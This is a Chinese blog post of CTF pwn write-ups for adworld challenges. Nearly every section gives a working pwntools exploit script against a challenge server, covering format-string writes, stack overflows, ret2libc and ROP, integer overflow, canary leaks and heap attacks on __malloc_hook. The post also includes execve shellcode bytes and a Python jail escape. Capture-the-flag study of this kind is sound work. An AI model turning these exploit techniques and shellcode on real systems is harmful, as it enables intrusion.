美文网首页CTF-PWN
adworld pwn 题解

adworld pwn 题解

作者: Nevv | 来源:发表于2019-03-04 21:04 被阅读4次

    新手练习

    CGfsb

    简单的格式化字符串

    from pwn import *
    p = process("cgfsb")
    p = remote("111.198.29.45",32128)
    p.sendline("123")
    p.sendline(p32(0x0804A068)+"%4c%10$n")
    p.interactive()
    

    get_shell

    nc 上去直接 cat flag

    hello_pwn

    溢出即可

    from pwn import *
    # p = process("./hello_pwn")
    p = remote("111.198.29.45",32145)
    p.sendline('a'*4+p64(0x6E756161))
    p.interactive()
    

    when_did_you_born

    from pwn import *
    
    # context.log_level="debug"
    # p = process('./when_did_you_born')
    p = remote("111.198.29.45",30140)
    
    payload = "a"*8+p32(1926)
    p.recv()
    p.sendline("1111")
    p.recv()
    p.sendline(payload)
    
    p.interactive()
    

    level0

    from pwn import *
    
    # context.log_level="debug"
    # p = process('./level0')
    p = remote("111.198.29.45", 30142)
    
    payload = "a"*0x88+p64(0x400596)
    
    p.sendline(payload)
    
    p.interactive()
    
    

    level2

    from pwn import *
    
    # context.log_level="debug"
    # p = process('./level2')
    elf = ELF('./level2')
    p = remote("111.198.29.45", 30143)
    binbash = 0x804A024
    
    payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
    p.recv()
    p.sendline(payload)
    
    p.interactive()
    

    string

    ​ 这道题目话太多了:(,实际上就是一个格式化字符串漏洞的利用,修改v3处的值为85即可。

    from pwn import *
    
    # context.log_level="debug"
    # a = process('./string')
    a = remote("111.198.29.45",30155)
    a.recvuntil("secret[0] is ")
    v3_addr=a.recvuntil("\n")
    v3_addr="0x"+v3_addr[:-1]
    v3_address=eval(v3_addr)
    a.recvuntil("What should your character's name be:\n")
    a.sendline("a")
    a.recvuntil("So, where you will go?east or up?:\n")
    a.send("east\n")
    a.recvuntil("go into there(1), or leave(0)?:\n")
    a.send("1\n")
    a.recvuntil("'Give me an address'\n")
    a.send(str(v3_address)+"\n")
    a.recvuntil("you wish is:\n")
    
    payload="%085d%7$n"
    a.sendline(payload)
    
    a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
    a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
    
    a.interactive()
    
    

    guess_num

    ​ 先看下程序逻辑,漏洞点在于输入name的时候存在溢出,能够将栈中的随机数种子覆盖掉,然后就能够猜出数字了。

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      FILE *v3; // rdi
      const char *v4; // rdi
      int v6; // [rsp+4h] [rbp-3Ch]
      int i; // [rsp+8h] [rbp-38h]
      int v8; // [rsp+Ch] [rbp-34h]
      char v9; // [rsp+10h] [rbp-30h]
      unsigned int seed[2]; // [rsp+30h] [rbp-10h]
      unsigned __int64 v11; // [rsp+38h] [rbp-8h]
    
      v11 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      v3 = stderr;
      setbuf(stderr, 0LL);
      v6 = 0;
      v8 = 0;
      *(_QWORD *)seed = sub_BB0(v3, 0LL);
      puts("-------------------------------");
      puts("Welcome to a guess number game!");
      puts("-------------------------------");
      puts("Please let me know your name!");
      printf("Your name:");
      gets(&v9);
      v4 = (const char *)seed[0];
      srand(seed[0]);
      for ( i = 0; i <= 9; ++i )
      {
        v8 = rand() % 6 + 1;
        printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
        printf("Please input your guess number:");
        __isoc99_scanf("%d", &v6);
        puts("---------------------------------");
        if ( v6 != v8 )
        {
          puts("GG!");
          exit(1);
        }
        v4 = "Success!";
        puts("Success!");
      }
      sub_C3E(v4);
      return 0LL;
    }
    

    ​ 这道题和后面萌新入坑一道题非常像,就是溢出覆盖随机数种子为0,然后本地根据0生成随机数种子即可。

    • 生成随机数的c程序:
    #include<stdlib.h>
    #include<time.h>
    
    int main(){
        int seed[2];
        * seed = time(0);
        srand(0);
        //srand(time(0));
        int i = 0;
        for(i=0;i<50;i++){
            printf("%d\n",rand()%6+1);
        }
        return 0;
    }
    
    • exp脚本
    from pwn import *
    
    context.log_level="debug"
    g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
    a = g.recv().split('\n')
    
    # p = process("./guess_num.dms")
    p = remote("111.198.29.45",31403)
    p.recvuntil("Your name:")
    p.sendline("a"*0x20+p64(0))
    # p.sendline("aaa")
    # gdb.attach(p)
    for i in range(10):
        p.recvuntil('guess number:')
        p.sendline(str(a[i]))
    
    p.interactive()
    

    int_overflow

    ​ 这道题目主要利用的是整数溢出:

    char *__cdecl check_passwd(char *password)
    {
      char *result; // eax
      char dest; // [esp+4h] [ebp-14h]
      unsigned __int8 v3; // [esp+Fh] [ebp-9h]
    
      v3 = strlen(password);                        // 这里返回值是使用al寄存器存储的,在大于255的时候会发生溢出,变成一个很小的数
      if ( v3 <= 3u || v3 > 8u )
      {
        puts("Invalid Password");
        result = (char *)fflush(stdout);
      }
      else
      {
        puts("Success");
        fflush(stdout);
        result = strcpy(&dest, password);
      }
      return result;
    }
    

    ​ 简单普及下整数溢出的知识,这道题目就是利用上溢的知识绕过长度的检查,造成溢出:

    • 上溢 运算后超过所能表示的上限,变成了一个很小的数
    • 下溢 运算后超过所能表示的下限,变成了一个很大的数
    from pwn import *
    
    # context.log_level="debug"
    
    
    # p = process("./int_overflow.dms")
    flag = 0x804868B
    p = remote("111.198.29.45",31431) 
    p.sendline("1")
    p.recvuntil("username:")
    p.sendline("aaaa")
    p.recvuntil("passwd:")
    payload = "a"*0x18 + p32(flag)
    p.sendline(payload.ljust(260,"a"))
    
    p.interactive()
    

    ​ 这里需要注意的是要控制溢出之后的长度在3和8之间。

    cgpwn2

    ​ 把 /bin/sh 字符串写到 bss 段,使用溢出调用system函数的时候将 bss 段 name 的地址当作参数传入即可。

    from pwn import *
    
    # context.log_level="debug"
    # p = process("./cgpwn2.dms")
    elf = ELF("./cgpwn2.dms")
    p = remote("111.198.29.45",31484) 
    p.recvuntil("please tell me your name")
    p.sendline("/bin/sh")
    p.recvuntil("hello,you can leave some message here:")
    p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))
    
    p.interactive()
    

    level3

    ​ 溢出但是没有给出libc,可以先利用write函数泄漏其在内存中的地址,根据偏移推算出libc在内存中的基地址(查询网站 https://libc.blukat.me),然后就能得到system函数和bin_sh字符串在内存中的实际地址,再次溢出即可getshell

    from pwn import *
    
    context.log_level="debug"
    
    
    # p = process("./level3.dms")
    elf = ELF("./level3.dms")
    p = remote("111.198.29.45",31489) 
    p.recvuntil("Input:")
    p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
    print "---------------"
    p.recv()
    write_addr = u32(p.recvuntil('Input:\n',drop=True))
    print "write_addr:",hex(write_addr)
    libc_addr = write_addr - 0x0d43c0
    print "libc_addr:",hex(libc_addr)
    sys_addr = libc_addr + 0x03a940
    binsh_addr = libc_addr + 0x15902b
    
    p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
    # gdb.attach(p)
    
    p.interactive()
    

    萌新入坑

    pwn2

    主要分两步

    1. getlibc
    2. getshell

    基础功能:

    ​ 简单来说就是可以进行增删改查,存在漏洞的地方是改的时候能够导致堆溢出,通过溢出修改 pre_size 和 pre_inuse 可以造成 overlapping。程序开启了 pie,没办法获取进程在内存中的基地址,但是我们可以通过溢出控制 fd,使用 fastbin attack,将 malloc_hook 处改写为 one_gadget 来 getshell.

    from pwn import *
    context.log_level = "debug"
    
    # p = process('./babyheap')
    p = remote("111.198.29.45",32049)
    libc = ELF("libc-2.23.so")
    
    
    def new(size,content):
        p.recvuntil(">> ")
        p.sendline("1")
        p.sendline(str(size))
        p.sendline(content)
    
    def edit(index,size,content):
        p.recvuntil(">> ")
        p.sendline("2")
        p.sendline(str(index))
        p.sendline(str(size))
        p.sendline(content)
    
    def printt(index):
        p.recvuntil(">> ")
        p.sendline("3")
        p.sendline(str(index))
    
    
    def delete(index):
        p.recvuntil(">> ")
        p.sendline("4")
        p.sendline(str(index))
    

    使用后向合并获取libc基地址:

    new(0x100,"0"*0xff) # 0
    new(0x100,"1"*0xff) # 1
    new(0x100,"2"*0xff) # 2
    new(0x100,"3"*0xff) # 3
    edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
    delete(1)
    new(0x100,"4"*0xff) # 4
    printt(2)
    libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
    gdb.attach(p)
    p.interactive()
    

    使用前向合并获取libc基地址:

    new(0x100,"0"*0xff) # 0
    new(0x10,"1"*0xf) # 1
    new(0x100,"2"*0xff) # 2
    new(0x100,"3"*0xff) # 3
    new(0x10,"4"*0xf) # 4
    
    edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
    delete(0)
    delete(3)
    
    new(0x100,"5"*0xff) # 5
    printt(1)
    print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
    gdb.attach(p)
    p.interactive()
    

    这里是构造类似如下chunk结构:

    • 由于free B的时候,根据修改的pre_size会向前去找x的前后chunk能否合并,并且查看A是否处于空闲状态是根据B堆块的pre_inuse位判断的,所以要在x和A之间加一个fastbin使其safe unlink,或者在修改b的pre_inuse之前就free x

    • 最后free b触发向前合并之前,先free掉x,通过safe unlink操作把堆块x从freelist中卸下。为了safe unlink不会出错,比较方便的方法是让x处于空闲状态。故我们应该在释放堆块B之前释放x,这样堆块x到堆块B的整个空间就都被释放掉了。不然的 unlink x的时候其fd和bk不能通过安全检查。

    最开始想用 fastbindouble free 的,写到最后突然想到不能控制 __free_hook 附近的 size值,malloc的时候会抛出异常,囧。。程序开启了pie,指向堆块的指针都在程序的bss段, unlink也不行:

    new(0x100,"0"*0xff) # 0
    new(0x10,"1"*0xf) # 1
    new(0x100,"2"*0xff) # 2
    new(0x100,"3"*0xff) # 3
    new(0x10,"4"*0xf) # 4
    
    edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
    delete(0)
    delete(3)
    
    new(0x100,"5"*0xff) # 0
    printt(1)
    libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
    print hex(libc_base)
    
    new(0x10,"6"*0xf) # 3
    new(0x10,"7"*0xf) # 5
    
    delete(1)
    delete(5)
    delete(3)
    
    new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
    new(0x10,"8"*0xf) # 3
    new(0x10,"9"*0xf) # 3
    
    new(0x10,p64(0x45216)+"a"*0x7) # 3
    
    delete(0)
    gdb.attach(p)
    
    p.interactive()
    

    后来调试发现可以利用__malloc_hook之前 -0x23的位置刚好全为0,且后边有 0x7f 可以组合作为size字段(fastbin attack只检查 size 字段较高2字节所以低2字节的f没有影响),因此构造大小为60的 fastbin chunk

    pwndbg> x /10gx 0x7f8dcf9b7ae0
    0x7f8dcf9b7ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
    0x7f8dcf9b7af0 <_IO_wide_data_0+304>:    0x00007f8dcf9b6260    0x0000000000000000
    0x7f8dcf9b7b00 <__memalign_hook>:    0x00007f8dcf678e20    0x00007f8dcf678a00
    0x7f8dcf9b7b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
    0x7f8dcf9b7b20 <main_arena>:    0x0000000000000000    0x0000000000000000
    
    pwndbg> x /10gx 0x7f8dcf9b7aed
    0x7f8dcf9b7aed <_IO_wide_data_0+301>:    0x8dcf9b6260000000    0x000000000000007f
    0x7f8dcf9b7afd:    0x8dcf678e20000000    0x8dcf678a0000007f
    0x7f8dcf9b7b0d <__realloc_hook+5>:    0x000000000000007f    0x0000000000000000
    0x7f8dcf9b7b1d:    0x0000000000000000    0x0000000000000000
    0x7f8dcf9b7b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000
    

    exp:

    from pwn import *
    context.log_level = "debug"
    
    # p = process('./babyheap')
    p = remote("111.198.29.45",32049)
    libc = ELF("libc-2.23.so")
    
    
    def new(size,content):
        p.recvuntil(">> ")
        p.sendline("1")
        p.sendline(str(size))
        p.sendline(content)
    
    def edit(index,size,content):
        p.recvuntil(">> ")
        p.sendline("2")
        p.sendline(str(index))
        p.sendline(str(size))
        p.sendline(content)
    
    def printt(index):
        p.recvuntil(">> ")
        p.sendline("3")
        p.sendline(str(index))
    
    
    def delete(index):
        p.recvuntil(">> ")
        p.sendline("4")
        p.sendline(str(index))
    
    new(0x100,"0"*0xff) # 0
    new(0x10,"1"*0xf) # 1
    new(0x100,"2"*0xff) # 2
    new(0x100,"3"*0xff) # 3
    new(0x10,"4"*0xf) # 4
    
    edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
    delete(0)
    delete(3)
    
    new(0x100,"5"*0xff) # 0
    printt(1)
    libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
    print hex(libc_base)
    
    new(0x200,"5"*0x1ff) # 0
    new(0x60,"5"*0x5f) # 0
    new(0x60,"5"*0x5f) # 0
    
    delete(6)
    edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
    new(0x60,'b'*0x5f)
    payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
    payload = payload.ljust(0x5f,"\x00")
    print hex(libc.symbols["__malloc_hook"]+libc_base)
    new(0x60,payload)
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(str(0x66))
    # gdb.attach(p)
    
    p.interactive()
    

    dice_game

    主函数逻辑都在main函数中,在输入name的时候存在栈溢出,输入name后,会进入执行游戏的函数,大体猜数字,根据输入的数字和随机数生成的数字比较,猜对50次就给出flag:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char buf[55]; // [rsp+0h] [rbp-50h]
      char v5; // [rsp+37h] [rbp-19h]
      ssize_t v6; // [rsp+38h] [rbp-18h]
      unsigned int seed[2]; // [rsp+40h] [rbp-10h]
      unsigned int v8; // [rsp+4Ch] [rbp-4h]
    
      memset(buf, 0, 0x30uLL);
      *(_QWORD *)seed = time(0LL);
      printf("Welcome, let me know your name: ", a2);
      fflush(stdout);
      v6 = read(0, buf, 0x50uLL);
      if ( v6 <= 49 )                               // 名字小于49 最后追加终止符,存在栈溢出
        buf[v6 - 1] = 0;
      printf("Hi, %s. Let's play a game.\n", buf);
      fflush(stdout);
      srand(seed[0]);
      v8 = 1;
      v5 = 0;
      while ( 1 )
      {
        printf("Game %d/50\n", v8);
        v5 = play_game();
        fflush(stdout);
        if ( v5 != 1 )                              // 赢得50次游戏 打印出flag
          break;
        if ( v8 == 50 )
        {
          get_flag((__int64)buf);
          break;
        }
        ++v8;
      }
      puts("Bye bye!");
      return 0LL;
    }
    

    ​ 考虑利用的方式,因为time(0)是能预测的,所以写个简单程序把随机数预测出来就行,最开始因为程序里 srand 初始化使用的是 time(0),想着不用溢出也行。后来试了下本地可以,远程不行,可能是服务器和本地 time(0) 的返回值不同,还是老老实实溢出修改初始化随机数种子把。

    #include<stdlib.h>
    #include<time.h>
    
    int main(){
        int seed[2];
        * seed = time(0);
        srand(0);
        //srand(time(0));
        int i = 0;
        for(i=0;i<50;i++){
            printf("%d\n",rand()%6+1);
        }
        return 0;
    }
    

    exp:

    from pwn import *
    
    context.log_level="debug"
    g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
    a = g.recv().split('\n')
    
    # p = process("./dice_game")
    p = remote("111.198.29.45",32149)
    p.recv()
    p.sendline("a"*0x40+p64(0))
    # p.sendline("aaa")
    
    for i in range(50):
        p.recvuntil('Give me the point(1~6): ')
        p.sendline(str(a[i]))
    
    p.interactive()
    

    pwn-100

    ​ ida打开,程序就是一个栈溢出,首先检查下防护,没有 canary 和 pie,可以用rop,64位程序找下传参的gadget。

    nevv@nevv:~/Desktop$ checksec pwn100
    [*] '/home/nevv/Desktop/pwn100'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
    nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
    0x0000000000400763 : pop rdi ; ret
    

    ​ 发现有 pop rdi,那么可以通过puts函数打印出某个函数的got表地址处的值,然后就可以根据偏移得到 libc 的基地址。

    exp:

    from pwn import *
    
    # context.log_level="debug"
    # p = process('./pwn100')
    elf = ELF("./pwn100")
    p = remote("111.198.29.45", 30042)
    
    payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
    p.sendline(payload)
    
    p.recvuntil('~\n')
    
    puts_addr =  u64(p.recv()[-7:-1].ljust(8,"\x00"))
    libc_base =  puts_addr - 0x06f690
    print "libc_base", hex(libc_base)
    system = libc_base + 0x045390
    print "system", hex(system)
    bin_sh = libc_base + 0x18cd57
    print "bin_sh", hex(bin_sh)
    
    payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
    p.sendline(payload)
    
    p.interactive()
    

    ​ 这里最开始 get shell 一直失败,后来调试过程中发现第二次输入的时候 buf 最低为有一个 0x0a 回车符,所以前边得填充 0x47 个字符。

    # 用下边第二段payload进行调试
    payload = '2'*8
    p.sendline(payload)
    gdb.attach(p)
    p.interactive()
    
    

    ​ 调试中间信息:可以看到第二次输入的起始位置有一个回车符 :(

    05:0028│ rbp    0x7ffd08abad10 —▸ 0x7ffd08abad60 —▸ 0x7ffd08abad80 —▸ 0x400700 ◂— push   r15
    06:0030│        0x7ffd08abad18 —▸ 0x4006ac ◂— mov    edi, 0x400784
    07:0038│        0x7ffd08abad20 ◂— '\n22222222\n'
    08:0040│ rsi-2  0x7ffd08abad28 ◂— 0xa32 /* '2\n' */
    09:0048│        0x7ffd08abad30 ◂— 0x0
    

    Mary_Morton

    ​ 根据 ida 反汇编结果来看,主要想让你做的就是利用一个格式化字符串漏洞和栈溢出漏洞来执行到目标函数,程序没有开启pie,开启了canary。不过我们可以根据格式化字符串漏洞将cannary的值打印出来,溢出的时候再写回去即可。

    from pwn import *
    
    context.log_level="debug"
    # p = process("./mary_morton")
    elf = ELF("./mary_morton")
    p = remote("111.198.29.45",31556) 
    p.recv()
    p.sendline("2")
    p.sendline("%23$p")
    p.recvuntil("0x")
    cannary = p.recv(16)
    cannary = p64(int("0x"+cannary,16))
    # gdb.attach(p)
    p.sendline("1")
    payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
    p.sendline(payload)
    p.interactive()
    

    stack2

    打开题目,功能是输入一些数,用一个栈上的数组存储,然后计算平均数,你可以修改输入的数,在修改的地方存在越界写,ida下反汇编文件可以看到:

    int hackhere()
    {
      return system("/bin/bash");
    }
    

    ​ 因此我们只需要将函数的返回地址覆盖写为system函数的地址即可,exp如下:

    from pwn import *
    
    context.log_level = "debug"
    
    system_addr = 0x804859B
    # p = process("stack2.dms")
    p = remote("111.198.29.45",32420)
    def change(idx, value):
        p.sendline("3")
        p.recvuntil("to change:")
        p.sendline(str(idx))
        p.recvuntil("new number:")
        p.sendline(str(value))
        p.recvuntil("5. exit")
    
    p.recvuntil("you have:")
    p.sendline(str(1))
    p.recvuntil("Give me your numbers\n")
    p.sendline(str(12))
    
    
    change(0x84,0x9b)
    change(0x84+1,0x85)
    change(0x84+2,0x04)
    change(0x84+3,0x08)
    
    # gdb.attach(p)
    p.sendline("5")
    
    p.interactive()
    

    ​ 这里我本地可以getshell,但是远程连接服务器的时候会报错 ,找不到/bin/sh文件,应该是本地和远程的环境不一样:

     [DEBUG] Received 0x1c bytes:
        'sh: 1: /bin/bash: not found\n'
    

    ​ 所以只能调用system函数,然后重新给它传sh作为参数了:

    from pwn import *
    
    context.log_level = "debug"
    
    system_addr = 0x804859B
    # p = process("stack2.dms")
    p = remote("111.198.29.45",32420)
    def change(idx, value):
        p.sendline("3")
        p.recvuntil("to change:")
        p.sendline(str(idx))
        p.recvuntil("new number:")
        p.sendline(str(value))
        p.recvuntil("5. exit")
    
    p.recvuntil("you have:")
    p.sendline(str(1))
    p.recvuntil("Give me your numbers\n")
    p.sendline(str(12))
    
    # system_addr
    change(0x84,0x50)
    change(0x84+1,0x84)
    change(0x84+2,0x04)
    change(0x84+3,0x08)
    
    # sh_addr
    change(0x84+8,0x87)
    change(0x84+9,0x89)
    change(0x84+10,0x04)
    change(0x84+11,0x08)
    
    
    # gdb.attach(p)
    p.sendline("5")
    
    p.interactive()
    

    warmup

    ​ 简单的溢出控制返回地址为 0x40060d 处的 get flag 函数即可。

    from pwn import *
    
    context.log_level = "debug"
    
    p= remote("111.198.29.45", 32656)
    # p = process("warmup.dms")
    p.recv()
    p.sendline("q"*0x48+p64(0x40060d))
    p.interactive()
    

    forgot

    ​ 先checksec一下,没开pie和canary,基本上可以确定是栈溢出。

    from pwn import *
    
    context.log_level = "debug"
    
    p= remote("111.198.29.45", 30003)
    # p = process("forgot.dms")
    p.recv()
    p.sendline("a"*67+p32(0x80486CC))
    print p.recv()
    # gdb.attach(p)
    p.interactive()
    

    echo

    ​ 本地可以,远程不行,一脸懵逼。

    from pwn import *
    
    context.log_level = "debug"
    
    # p= remote("111.198.29.45", 30050)
    p = process("echo.dms")
    p.sendline("a"*(0x3a+4)+p32(0x804854D))
    # gdb.attach(p)
    print p.recv()
    # p.interactive()
    

    Escape_From_Jail-50

    ​ 考察python语言 getattr 函数获取类的成员属性值

    getattr(os,"system")("/bin/sh")
    

    babyfengshui

    简单分析程序,发现使用的是如下结构体:

    struct user{
        char *descript;
        char name[0x7c];
    }
    

    问题出在修改结构体的地方:

    unsigned int __cdecl update(unsigned __int8 a1)
    {
      char v2; // [esp+17h] [ebp-11h]
      int v3; // [esp+18h] [ebp-10h]
      unsigned int v4; // [esp+1Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      if ( a1 < (unsigned __int8)user_num && ptr[a1] )
      {
        v3 = 0;
        printf("text length: ");
        __isoc99_scanf("%u%c", &v3, &v2);
        if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
        {
          puts("my l33t defenses cannot be fooled, cya!");
          exit(1);
        }
        printf("text: ");
        sub_80486BB(*(char **)ptr[a1], v3 + 1);
      }
      return __readgsdword(0x14u) ^ v4;
    
    

    上述对修改长度的安全假设是建立在 description 和 user 结构题在内存中是紧邻的情况,当分配再释放一些堆块后,两者之间可能存在别的堆块,这个时候就能够造成溢出,修改中间结构体的内容。

    #!/usr/bin/env python
    
    from pwn import *
    
    context.log_level = 'debug'
    
    io = process(['./babyfengshui.dms'])
    elf = ELF('./babyfengshui.dms')
    io = remote("111.198.29.45",30364)
    
    def add_user(size, length, text):
        io.sendlineafter("Action: ", '0')
        io.sendlineafter("description: ", str(size))
        io.sendlineafter("name: ", 'AAAA')
        io.sendlineafter("length: ", str(length))
        io.sendlineafter("text: ", text)
    
    def delete_user(idx):
        io.sendlineafter("Action: ", '1')
        io.sendlineafter("index: ", str(idx))
    
    def display_user(idx):
        io.sendlineafter("Action: ", '2')
        io.sendlineafter("index: ", str(idx))
    
    def update_desc(idx, length, text):
        io.sendlineafter("Action: ", '3')
        io.sendlineafter("index: ", str(idx))
        io.sendlineafter("length: ", str(length))
        io.sendlineafter("text: ", text)
    
    if __name__ == "__main__":
        add_user(0x80, 0x80, 'AAAA')        # 0
        add_user(0x80, 0x80, 'AAAA')        # 1
        add_user(0x8, 0x8, '/bin/sh\x00')   # 2
        delete_user(0)
        add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
        # gdb.attach(io)
    
        display_user(1)
        io.recvuntil("description: ")
        free_addr = u32(io.recvn(4))
        print hex(free_addr)
        system_addr = free_addr - (0x070750 - 0x03a940)
        log.info("system address: 0x%x" % system_addr)
    
        update_desc(1, 0x4, p32(system_addr))
        delete_user(2)
    
        io.interactive()
    

    参考链接:

    相关文章

      网友评论

        本文标题:adworld pwn 题解

        本文链接:https://www.haomeiwen.com/subject/rkuwuqtx.html